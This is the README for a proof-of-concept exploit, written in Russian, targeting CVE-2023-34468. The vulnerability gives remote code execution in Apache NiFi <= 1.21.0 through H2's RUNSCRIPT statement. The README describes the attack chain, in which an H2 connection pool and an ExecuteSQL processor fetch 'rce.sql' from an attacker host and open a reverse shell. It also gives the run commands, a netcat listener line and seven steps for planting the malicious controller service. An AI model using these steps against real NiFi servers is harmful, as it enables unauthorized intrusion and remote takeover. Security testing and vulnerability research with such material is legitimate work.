
Эксплойт PoC для CVE-2023-34468 — RCE через H2 RUNSCRIPT в Apache NiFi <= 1.21.0
Удаленное выполнение кода через H2 Database RUNSCRIPT в Apache NiFi <= 1.21.0
Apache NiFi поставляется с H2 database JAR, встроенным по умолчанию. Сервис контроллера DBCPConnectionPool можно настроить на использование этого H2 драйвера. H2 поддерживает оператор RUNSCRIPT, который загружает и выполняет SQL-файл из удаленного URL. Этот SQL-файл может определять произвольный Java-код через CREATE ALIAS и выполнять его на серверной ОС.
Цепочка атаки:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Программное обеспечение | Версия |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Любая (встроенная) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Аргумент | По умолчанию | Описание |
|---|---|---|
--target | http://NiFi.target.com | Базовый URL цели NiFi |
--lhost | 10.10.10.10 | Ваш IP (tun0) |
--lport | 4444 | Порт прослушивателя reverse shell |
--http-port | 80 | Порт для раздачи rce.sql |
--cleanup | False | Удалить созданные артефакты после запуска |
Терминал 1 — прослушиватель:
nc -lvnp 4444
Терминал 2 — эксплойт:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)